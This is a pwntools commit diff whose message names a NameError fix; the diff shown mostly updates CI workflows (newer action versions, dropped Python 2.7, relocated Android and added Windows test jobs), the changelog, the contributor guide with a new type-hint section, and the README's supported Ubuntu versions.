Fix NameError in submit_flag and Kernel.enable_uart (#2798)

* Fix NameError in submit_flag and Kernel.enable_uart

* Add changelog entry for #2798

.github/ISSUE_TEMPLATE.md

@@ -4,7 +4,7 @@ Thanks for contributing to Pwntools!
 
 When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
 
-Please verify that your issue occurs on 64-bit Ubuntu 14.04.  You can use the Dockerfile on `docker.io` for quick testing.
+Please verify that your issue occurs on 64-bit Ubuntu 22.04.  You can use the Dockerfile on `docker.io` for quick testing.
 
 ```
 $ docker pull pwntools/pwntools:stable

.github/ISSUE_TEMPLATE/bug_report.md

@@ -39,7 +39,7 @@ You should see `[DEBUG]` statements that show what's happening behind the scenes
 
 ## Verify on Ubuntu
 
-If possible, please verify that your issue occurs on 64-bit Ubuntu 22.04.  We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required!
+If possible, please verify that your issue occurs on 64-bit Ubuntu 24.04.  We provide a Dockerfile based on Ubuntu 24.04 via `docker.io` to make this super simple, no VM required!
 
 ```sh
 # Download the Docker image

.github/PULL_REQUEST_TEMPLATE.md

@@ -24,7 +24,7 @@ You can always [change the branch][change] after you create the PR if it's again
 
 [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
 [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
-[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
+[change]: https://github.blog/news-insights/product-news/change-the-base-branch-of-a-pull-request/
 
 ## Changelog
 

.github/dependabot.yml

@@ -4,5 +4,8 @@ updates:
   - package-ecosystem: "github-actions"
     directory: "/"
     schedule:
-      # Check for updates to GitHub Actions every week
-      interval: "weekly"
+      # Check for updates to GitHub Actions every month
+      interval: "monthly"
+    groups:
+      github-actions:
+        dependency-type: "production"

.github/workflows/android.yml

@@ -1,70 +0,0 @@
-name: Android Tests
-
-on: [push, pull_request]
-
-jobs:
-  android-test:
-    strategy:
-      matrix:
-        python-version: ['3.10']
-        os: [ubuntu-latest]
-    runs-on: ${{ matrix.os }}
-    timeout-minutes: 30
-    steps:
-    - uses: actions/checkout@v4
-
-    - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v5
-      with:
-        python-version: ${{ matrix.python-version }}
-        cache: 'pip'
-        cache-dependency-path: |
-          **/pyproject.toml
-          **/requirements*.txt
-
-    - name: Install Linux dependencies
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
-          gdb gdbserver socat \
-          qemu-user-static \
-          binutils-aarch64-linux-gnu \
-          binutils-arm-linux-gnueabihf \
-          libc6-dbg
-
-    - name: Cache for avd
-      uses: actions/cache@v4
-      id: cache-avd
-      with:
-        path: |
-          ~/.android
-          /usr/local/lib/android/sdk/emulator
-          /usr/local/lib/android/sdk/platform-tools
-          /usr/local/lib/android/sdk/system-images
-        key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
-        restore-keys: |
-          ${{ matrix.os }}-cache-avd-
-
-    - name: Install Android AVD
-      run: |
-        sudo usermod -aG kvm $USER
-        source travis/setup_avd_fast.sh
-        sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
-        set | grep ^PATH >.android.env
-
-    - name: Install dependencies
-      run: |
-        pip install --upgrade pip
-        python setup.py egg_info
-        pip install --upgrade --editable .
-
-    - name: Sanity checks
-      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
-
-    - name: Install documentation dependencies
-      run:  pip install -r docs/requirements.txt
-
-    - name: Coverage Doctests (Android Only)
-      run: |
-        source .android.env
-        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst

.github/workflows/changelog.yml

@@ -15,7 +15,7 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 5
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
       with:
         fetch-depth: 0
 

.github/workflows/ci.yml

@@ -5,11 +5,8 @@ jobs:
   test:
     strategy:
       matrix:
-        python_version: ['3.10', '3.12']
+        python_version: ['3.10', '3.12', '3.13', '3.14', '3.15']
         os: [ubuntu-latest]
-        include:
-          - python_version: '2.7'
-            os: ubuntu-22.04
     runs-on: ${{ matrix.os }}
     timeout-minutes: 30
     services:
@@ -29,7 +26,7 @@ jobs:
       PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
       PWN_GITLAB_LIBCDB_URL:  http://localhost:3003/
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
       with:
         fetch-depth: 20
 
@@ -37,7 +34,7 @@ jobs:
       run: |
         git fetch origin
         git log --oneline --graph -10
-    
+
     - name: Fix libcdb-cache permissions
       id: fix-perms
       run: |
@@ -45,7 +42,7 @@ jobs:
         echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
 
     - name: Cache for libcdb requests
-      uses: actions/cache@v4
+      uses: actions/cache@v6
       with:
         path: ~/libcdb-cache
         key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
@@ -67,18 +64,9 @@ jobs:
         sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
         /usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
         gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
-    
-    - name: Cache for pip
-      uses: actions/cache@v4
-      if: matrix.python_version == '2.7'
-      with:
-        path: ~/.cache/pip
-        key: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-${{ hashFiles('**/pyproject.toml', '**/requirements*.txt') }}
-        restore-keys: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-
 
     - name: Set up Python ${{ matrix.python_version }}
-      if: matrix.python_version != '2.7'
-      uses: actions/setup-python@v5
+      uses: actions/setup-python@v7
       with:
         python-version: ${{ matrix.python_version }}
         cache: 'pip'
@@ -86,17 +74,6 @@ jobs:
           **/pyproject.toml
           **/requirements*.txt
 
-    - name: Set up Python 2.7
-      if: matrix.python_version == '2.7'
-      run: |
-        sudo apt-get update
-        sudo apt-get install -y \
-          python2.7 python2.7-dev python2-pip-whl
-        sudo ln -sf python2.7 /usr/bin/python
-        export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
-        sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
-        sudo chown -R $USER /usr/local/lib/python2.7
-
 
     - name: Verify tag against version
       if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
@@ -127,18 +104,20 @@ jobs:
           binutils-s390x-linux-gnu \
           binutils-sparc64-linux-gnu \
           binutils-riscv64-linux-gnu \
+          binutils-loongarch64-linux-gnu \
           gcc-multilib \
           libc6-dbg \
           elfutils \
           patchelf
-      
+
+    # Print diagnostics to help when Corefile doctests fail.
     - name: Testing Corefiles
       run: |
         ulimit -a
         ulimit -c unlimited
         cat /proc/sys/kernel/core_pattern
         cat /proc/sys/kernel/core_uses_pid
-        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
+        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true
 
     - name: Set up SSH
       run: |
@@ -154,15 +133,13 @@ jobs:
         pip install 'unicorn==2.1.2'
 
     - name: Sanity checks
-      run:  PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
+      run: |
+        PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
+        python -c "import hashlib; assert hashlib.algorithms_guaranteed == {'sha256', 'blake2s', 'sha3_384', 'shake_256', 'sha1', 'md5', 'shake_128', 'sha224', 'sha512', 'blake2b', 'sha3_512', 'sha3_224', 'sha3_256', 'sha384'}"
 
     - name: Install documentation dependencies
       run: pip install -r docs/requirements.txt
 
-    - name: Manually install non-broken Unicorn
-      if:   matrix.python_version == '2.7'
-      run:  pip install unicorn==2.0.0rc7
-
     - name: Disable yama ptrace_scope
       run: |
         echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
@@ -248,38 +225,106 @@ jobs:
         pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
 
     - name: Build source and wheel distributions
-      if: matrix.python_version != '2.7'
       run: |
         python -m build
 
-    - uses: actions/upload-artifact@v4
+    - uses: actions/upload-artifact@v7
       if: matrix.python_version == '3.10'
       with:
         name: packages
         path: dist/
         include-hidden-files: true
 
-    - uses: actions/upload-artifact@v4
+    - uses: actions/upload-artifact@v7
       with:
         name: coverage-${{ matrix.python_version }}
         path: .coverage*
         include-hidden-files: true
-    
+
     - name: Fix libcdb-cache permissions
       run: |
         container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
         docker stop $container_id
         sudo chown -R runner:runner /home/runner/libcdb-cache
 
-  windows-test:
-    runs-on: windows-latest
+  android-test:
+    runs-on: ubuntu-latest
     timeout-minutes: 30
     continue-on-error: true
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
 
     - name: Set up Python 3.12
-      uses: actions/setup-python@v5
+      uses: actions/setup-python@v7
+      with:
+        python-version: '3.12'
+        cache: 'pip'
+        cache-dependency-path: |
+          **/pyproject.toml
+          **/requirements*.txt
+
+    - name: Install Linux dependencies
+      run: |
+        sudo apt-get update
+        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
+          gdb gdbserver socat \
+          qemu-user-static \
+          binutils-aarch64-linux-gnu \
+          binutils-arm-linux-gnueabihf \
+          libc6-dbg
+
+    - name: Cache for avd
+      uses: actions/cache@v6
+      id: cache-avd
+      with:
+        path: |
+          ~/.android
+          /usr/local/lib/android/sdk/emulator
+          /usr/local/lib/android/sdk/platform-tools
+          /usr/local/lib/android/sdk/system-images
+        key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
+        restore-keys: |
+          ${{ matrix.os }}-cache-avd-
+
+    - name: Install Android AVD
+      run: |
+        sudo usermod -aG kvm $USER
+        source travis/setup_avd_fast.sh
+        sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
+        set | grep ^PATH >.android.env
+
+    - name: Install dependencies
+      run: |
+        pip install --upgrade pip
+        pip install --upgrade wheel build
+        pip install --upgrade flake8 appdirs
+        pip install --upgrade --editable .
+
+    - name: Sanity checks
+      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+
+    - name: Install documentation dependencies
+      run:  pip install -r docs/requirements.txt
+
+    - name: Coverage Doctests (Android Only)
+      run: |
+        source .android.env
+        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
+
+    - uses: actions/upload-artifact@v7
+      with:
+        name: coverage-android
+        path: .coverage*
+        include-hidden-files: true
+
+  windows-test:
+    runs-on: windows-latest
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v7
+
+    - name: Set up Python 3.12
+      uses: actions/setup-python@v7
       with:
         python-version: '3.12'
 
@@ -288,20 +333,33 @@ jobs:
         pip install --upgrade pip
         pip install --upgrade --editable .
 
+    - name: Install documentation dependencies
+      run: pip install -r docs/requirements.txt
+
     - name: Sanity checks
       run: |
         python -bb -c 'from pwn import *'
         python -bb examples/text.py
 
+    - name: Coverage doctests
+      run: |
+        python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
+
+    - uses: actions/upload-artifact@v7
+      with:
+        name: coverage-windows
+        path: .coverage*
+        include-hidden-files: true
+
   upload-coverage:
     runs-on: ubuntu-latest
-    needs: test
+    needs: [test, android-test, windows-test]
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
       with:
         fetch-depth: 20
 
-    - uses: actions/download-artifact@v4
+    - uses: actions/download-artifact@v8
       with:
         pattern: coverage-*
         merge-multiple: true
@@ -321,7 +379,7 @@ jobs:
     if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
     needs: test
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
       with:
         fetch-depth: 20
     - name: Push changes to protected branch
@@ -343,7 +401,7 @@ jobs:
     needs: test
     steps:
     - name: Download artifacts
-      uses: actions/download-artifact@v4
+      uses: actions/download-artifact@v8
       with:
         name: packages
         path: dist

.github/workflows/docker.yml

@@ -13,16 +13,16 @@ jobs:
     steps:
       # Required for subdirectories in Git context
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
 
       - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_PASSWORD }}
 
       - name: Build and push base image
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         if: github.event_name == 'workflow_dispatch'
         with:
           context: "{{defaultContext}}:extra/docker/base"
@@ -30,7 +30,7 @@ jobs:
           tags: pwntools/pwntools:base
 
       - name: Build and push stable image
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
         with:
           context: "{{defaultContext}}:extra/docker/stable"
@@ -38,7 +38,7 @@ jobs:
           tags: pwntools/pwntools:stable
 
       - name: Build and push beta image
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
         with:
           context: "{{defaultContext}}:extra/docker/beta"
@@ -46,7 +46,7 @@ jobs:
           tags: pwntools/pwntools:beta
 
       - name: Build and push dev image
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
         with:
           context: "{{defaultContext}}:extra/docker/dev"
@@ -56,7 +56,7 @@ jobs:
             pwntools/pwntools:latest
 
       - name: Build and push ci image
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
         with:
           context: "{{defaultContext}}:travis/docker"

.github/workflows/lint.yml

@@ -10,10 +10,10 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 30
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
 
     - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v5
+      uses: actions/setup-python@v7
       with:
         python-version: ${{ matrix.python-version }}
         cache: 'pip'
@@ -31,3 +31,13 @@ jobs:
         flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
         flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
         flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
+
+    - name: Minimum Python version check
+      run: |
+        pip install vermin
+        vermin -vvv --no-tips -t=3.10- --violations  ./pwnlib ./pwn
+
+    - name: MyPy type hint baseline
+      run: |
+        pip install -U . --group dev
+        mypy | mypy-baseline filter

.github/workflows/merge-conflict.yml

@@ -13,7 +13,7 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 5
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
       with:
         fetch-depth: 0
 

.github/workflows/pylint.yml

@@ -10,10 +10,10 @@ jobs:
     runs-on: ${{ matrix.os }}
     timeout-minutes: 30
     steps:
-    - uses: actions/checkout@v4
+    - uses: actions/checkout@v7
 
     - name: Set up Python ${{ matrix.python-version }}
-      uses: actions/setup-python@v5
+      uses: actions/setup-python@v7
       with:
         python-version: ${{ matrix.python-version }}
         cache: 'pip'

CHANGELOG.md

@@ -10,7 +10,7 @@ The table below shows which release corresponds to each branch, and what date th
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
 | [5.0.0](#500-dev)  | `dev`    |
-| [4.15.0](#4150-stable)  | `stable` | Oct 12, 2025
+| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
 | [4.14.1](#4141)  |          | Mar 24, 2025
 | [4.14.0](#4140)  |          | Jan 15, 2025
 | [4.13.1](#4131)  |          | Sep 29, 2024
@@ -75,6 +75,20 @@ The table below shows which release corresponds to each branch, and what date th
 
 ## 5.0.0 (`dev`)
 
+- [#2798][2798] fix(flag, adb): NameError in `submit_flag` with a flag file and in `Kernel.enable_uart`
+- [#2780][2780] fix(encoders): handle unavailable xor encodings and fallback
+- [#2789][2789] feat(errno): support `-c/--context` to look up errno values for other architectures
+- [#2784][2784] docs: put plain doctest blocks in the default group for Sphinx 9
+- [#2762][2762] fix(srop): correct amd64 SigreturnFrame `uc_sigmask` offset
+- [#2753][2753] docs(args): clarify reserved args (DEBUG/NOASLR) map to context, not args
+- [#2740][2740] setup: install docs to FHS-compliant share/doc/pwntools
+- [#2739][2739] shellcraft: migrate lazy importer to find_spec for Python 3.12+
+- [#2725][2725] feat(libcdb): add extra_mirrors arg + PWNLIB_EXTRA_LIBC_MIRRORS env to download_libraries
+- [#2677][2677] refactor: replace unsafe eval with safeeval.const in ROP cache loading
+- [#2675][2675] feat(term): add zellij support
+- [#2652][2652] Make setting the context.terminal to kitty more user friendly
+- [#2638][2638] feat: add disable_corefiles context option
+- [#2627][2627] remove pwnlib.util.iters.lookahead (broken anyway)
 - [#2598][2598] aarch64: Fix ABI definition
 - [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc)
 - [#2551][2551] Detect when kitty is being used as terminal
@@ -97,11 +111,59 @@ The table below shows which release corresponds to each branch, and what date th
 - [#2496][2496] Add linux ko file search support
 - [#2542][2542] Decode `_IO_*` flags in `FileStructure` member
 - [#2592][2592] pwnlib.config: Fix customization of `context.timeout`
+- [#2606][2606] Improve error of `process.maps()` after the process exited
 - [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed
 - [#2611][2611] Cleanup `pwnlib.lexer` exports and imports
 - [#2610][2610] Fix `log.progress` ignoring `context.log_console`
 - [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows
+- [#2639][2639] ROP: Remove stdout and argv workaround in ROPgadget invocation
+- [#2630][2630] support `preexec_fn` in `debug()`
+- [#2641][2641] support preexec_args in process
+- [#2646][2646] fix(libcdb-cli): return early if no matched libc found
+- [#2629][2629] Add `terminate()` method to process class that sends SIGTERM
+- [#2643][2643] Refactor getdents.py, add support for SYS_getdents64
+- [#2647][2647] packing: Add `overlap` to overlap structures easily
+- [#2669][2669] asm: try native binutils before fallback architectures
+- [#2673][2673] Add libc module for libc-related functions
+- [#2679][2679] Add type hints to parts of pwnlib.utils
+- [#2680][2680] Cleanup Python 2 legacy
+- [#2683][2683] libc: add atexit functions for glibc exploits
+- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
+- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
+- [#2682][2682] Fix `server.close()` not closing the listen socket
+- [#2671][2671] ssh: support raw string input for 'key' argument as documented
+- [#2688][2688] Close SSH client connection when authentication failed
+- [#2686][2686] Add glibc safe-linking `glibc.reveal_ptr_same_page`
+- [#2706][2706] doc: Update `run_in_new_terminal` docstring with new overrides
+- [#2704][2704] ssh: Fix distro lookup on Ubuntu 24.04
+- [#2655][2655] Add `context.debugger` to select which debugger to use
+- [#2689][2689] Refactor zsh completion script and deprecate `-e` in `pwn asm`
+- [#2713][2713] Remove python-dateutil dependency
+- [#2720][2720] ssh: resolve PermissionError on Windows during SFTP upload
+- [#2702][2702] ssh: Don't cache username in ssh checksec output
+- [#2722][2722] safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)
+- [#2730][2730] Fix atexception handlers in term mode
+- [#2732][2732] ssh: fix `ssh.which` returns None for POSIX paths when running on Windows
+- [#2733][2733] loongarch64: fix incorrect mov assembly template
+- [#2741][2741] memleak: add opt-in persistent leak cache
+- [#2743][2743] fix(adb): add missing import for remote to fix NameError hidden by bare except
+- [#2746][2746] elf: point people at libc_start_main_return when they look up __libc_start_main_ret
+- [#2734][2734] ROP: Add labels to reference addresses relative to your chain
+- [#2735][2735] Add support for debugging with x64dbg on Windows
+- [#2767][2767] Support paginated libc.rip API requests to include all search results
+- [#2726][2726] feat(libcdb): use local debuginfod client cache before hitting servers
+- [#2768][2768] docs: Added the homebrew workaround in documentation needed for macOS users
+- [#2769][2769] Use standard library (PEP-784) for Zstandard decompression
+- [#2750][2750] Fix DeprecationWarning with remote(ssl=True), checking remote certificates now
+- [#2761][2761] fix: don't truncate the last byte of `FileStructure.struntil`
+- [#2727][2727] feat(cli): add 'pwn errno --list' + perror-string lookup
+- [#2792][2792] Fix deprecation warning for not using `RLIM_INFINITY` in `resource.setrlimit` (Python 3.15)
 
+[2784]: https://github.com/Gallopsled/pwntools/pull/2784
+[2675]: https://github.com/Gallopsled/pwntools/pull/2675
+[2652]: https://github.com/Gallopsled/pwntools/pull/2652
+[2638]: https://github.com/Gallopsled/pwntools/pull/2638
+[2627]: https://github.com/Gallopsled/pwntools/pull/2627
 [2598]: https://github.com/Gallopsled/pwntools/pull/2598
 [2419]: https://github.com/Gallopsled/pwntools/pull/2419
 [2551]: https://github.com/Gallopsled/pwntools/pull/2551
@@ -124,10 +186,61 @@ The table below shows which release corresponds to each branch, and what date th
 [2496]: https://github.com/Gallopsled/pwntools/pull/2496
 [2542]: https://github.com/Gallopsled/pwntools/pull/2542
 [2592]: https://github.com/Gallopsled/pwntools/pull/2592
+[2606]: https://github.com/Gallopsled/pwntools/pull/2606
 [2608]: https://github.com/Gallopsled/pwntools/pull/2608
 [2611]: https://github.com/Gallopsled/pwntools/pull/2611
 [2610]: https://github.com/Gallopsled/pwntools/pull/2610
 [2615]: https://github.com/Gallopsled/pwntools/pull/2615
+[2639]: https://github.com/Gallopsled/pwntools/pull/2639
+[2630]: https://github.com/Gallopsled/pwntools/pull/2630
+[2641]: https://github.com/Gallopsled/pwntools/pull/2641
+[2646]: https://github.com/Gallopsled/pwntools/pull/2646
+[2629]: https://github.com/Gallopsled/pwntools/pull/2629
+[2643]: https://github.com/Gallopsled/pwntools/pull/2643
+[2647]: https://github.com/Gallopsled/pwntools/pull/2647
+[2669]: https://github.com/Gallopsled/pwntools/pull/2669
+[2673]: https://github.com/Gallopsled/pwntools/pull/2673
+[2679]: https://github.com/Gallopsled/pwntools/pull/2679
+[2680]: https://github.com/Gallopsled/pwntools/pull/2680
+[2683]: https://github.com/Gallopsled/pwntools/pull/2683
+[2687]: https://github.com/Gallopsled/pwntools/pull/2687
+[2699]: https://github.com/Gallopsled/pwntools/pull/2699
+[2682]: https://github.com/Gallopsled/pwntools/pull/2682
+[2671]: https://github.com/Gallopsled/pwntools/pull/2671
+[2688]: https://github.com/Gallopsled/pwntools/pull/2688
+[2686]: https://github.com/Gallopsled/pwntools/pull/2686
+[2704]: https://github.com/Gallopsled/pwntools/pull/2704
+[2655]: https://github.com/Gallopsled/pwntools/pull/2655
+[2677]: https://github.com/Gallopsled/pwntools/pull/2677
+[2689]: https://github.com/Gallopsled/pwntools/pull/2689
+[2713]: https://github.com/Gallopsled/pwntools/pull/2713
+[2720]: https://github.com/Gallopsled/pwntools/pull/2720
+[2702]: https://github.com/Gallopsled/pwntools/pull/2702
+[2722]: https://github.com/Gallopsled/pwntools/pull/2722
+[2725]: https://github.com/Gallopsled/pwntools/pull/2725
+[2730]: https://github.com/Gallopsled/pwntools/pull/2730
+[2732]: https://github.com/Gallopsled/pwntools/pull/2732
+[2733]: https://github.com/Gallopsled/pwntools/pull/2733
+[2739]: https://github.com/Gallopsled/pwntools/pull/2739
+[2740]: https://github.com/Gallopsled/pwntools/pull/2740
+[2741]: https://github.com/Gallopsled/pwntools/pull/2741
+[2743]: https://github.com/Gallopsled/pwntools/pull/2743
+[2746]: https://github.com/Gallopsled/pwntools/pull/2746
+[2734]: https://github.com/Gallopsled/pwntools/pull/2734
+[2735]: https://github.com/Gallopsled/pwntools/pull/2735
+[2753]: https://github.com/Gallopsled/pwntools/pull/2753
+[2762]: https://github.com/Gallopsled/pwntools/pull/2762
+[2767]: https://github.com/Gallopsled/pwntools/pull/2767
+[2726]: https://github.com/Gallopsled/pwntools/pull/2726
+[2768]: https://github.com/Gallopsled/pwntools/pull/2768
+[2769]: https://github.com/Gallopsled/pwntools/pull/2769
+[2780]: https://github.com/Gallopsled/pwntools/pull/2780
+[2789]: https://github.com/Gallopsled/pwntools/pull/2789
+[2750]: https://github.com/Gallopsled/pwntools/pull/2750
+[2761]: https://github.com/Gallopsled/pwntools/pull/2761
+[2727]: https://github.com/Gallopsled/pwntools/pull/2727
+[2792]: https://github.com/Gallopsled/pwntools/pull/2792
+[2798]: https://github.com/Gallopsled/pwntools/pull/2798
 
 ## 4.15.1
 
@@ -137,7 +250,6 @@ The table below shows which release corresponds to each branch, and what date th
 - [#2773][2773] Disable debuginfod doctests in libcdb.unstrip_libc
 - [#2772][2772] fix(packing): `dd()` no longer crashes on a `bytearray` destination
 - [#2787][2787] gdb.corefile: Run gdb directly to prevent detach race
-- [#2795][2795] regsort: Fix self-assignment detection through register aliases
 
 [2694]: https://github.com/Gallopsled/pwntools/pull/2694
 [2701]: https://github.com/Gallopsled/pwntools/pull/2701
@@ -145,7 +257,6 @@ The table below shows which release corresponds to each branch, and what date th
 [2773]: https://github.com/Gallopsled/pwntools/pull/2773
 [2772]: https://github.com/Gallopsled/pwntools/pull/2772
 [2787]: https://github.com/Gallopsled/pwntools/pull/2787
-[2795]: https://github.com/Gallopsled/pwntools/pull/2795
 
 ## 4.15.0 (`stable`)
 

CONTRIBUTING.md

@@ -2,32 +2,57 @@
 
 Github has a great guide for contributing to open source projects:
 
-- [Contributing to a project](https://guides.github.com/activities/forking/)
-- [Fork the repository](https://guides.github.com/activities/forking/#fork)
-- [Clone your fork](https://guides.github.com/activities/forking/#clone)
-- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
-- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
-- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
+- [Contributing to a project](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project)
+- [Fork the repository](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-your-own-copy-of-a-project)
+- [Clone your fork](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#cloning-a-fork-to-your-computer)
+- [Creating a branch to work on](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-a-branch-to-work-on)
+- [Making and pushing changes](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-and-pushing-changes)
+- [Making a Pull Request](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-a-pull-request)
 
 ## pwntools Specifics
 
 In general, we like to keep things documented.  You should add documentation to any new functionality, and update it for any changed functionality.  Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
 
-After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
+After you have documentation, you should add a [doctest](https://docs.python.org/3/library/doctest.html).
 
 Finally, it is probably a good idea to run the test suite locally before doing
 the pull-request to make sure everything works, however this is not a
-requirement.
+requirement. See the [TESTING](TESTING.md) documentation on how to do that.
 
 Once you are ready to do a pull-request, you should figure out if your changes
 constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
 stable or beta, you should do the pull-request against the branch in question,
 and otherwise your pull-request should be against the dev branch.
 
-Once you do the pull-request Travis CI will run the test-suite on it. Once it
+Once you do the pull-request Github Actions will run the test-suite on it. Once it
 passes one of the core developers will look at your pull request, possibly
 comment on it and then hopefully merge it into the branch in question.
 
+## Python Type Hints
+
+Since Pwntools 5 dropped support for Python 2, type hints are added gradually to the existing code base.
+[Type hints in Python](https://typing.python.org/en/latest/spec/index.html) allow static analysis tools and IDEs to help catch errors and provide a better developer
+experience without running the code.
+
+New code should include type hints where applicable and shouldn't add new type warnings.
+You can use [this cheat sheet](https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html) as a reference for the type hint syntax.
+
+Pwntools uses [mypy](https://mypy.readthedocs.io/en/stable/index.html) as a static type checker. Instead of trying to
+introduce type hints everywhere at once, Pwntools uses [mypy-baseline](https://mypy-baseline.orsinium.dev/usage) to gradually reduce the number of problems over time.
+
+To run the type checker locally, you can install Pwntools with the `dev` extra and check for new errors (`--group dev` requires pip 25.1+):
+
+```shell
+$ pip install -U . --group dev
+$ mypy | mypy-baseline filter
+```
+
+If you fixed some problems, you can update the list of known errors in `mypy-baseline.txt` using
+
+```shell
+$ mypy | mypy-baseline sync --sort-baseline
+```
+
 ## Automated Testing
 
 Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.

README.md

@@ -32,9 +32,9 @@ To get you started, we've provided some example solutions for past CTF challenge
 
 # Installation
 
-Pwntools is best supported on 64-bit Ubuntu LTS releases (18.04, 20.04, 22.04, and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  
+Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  
 
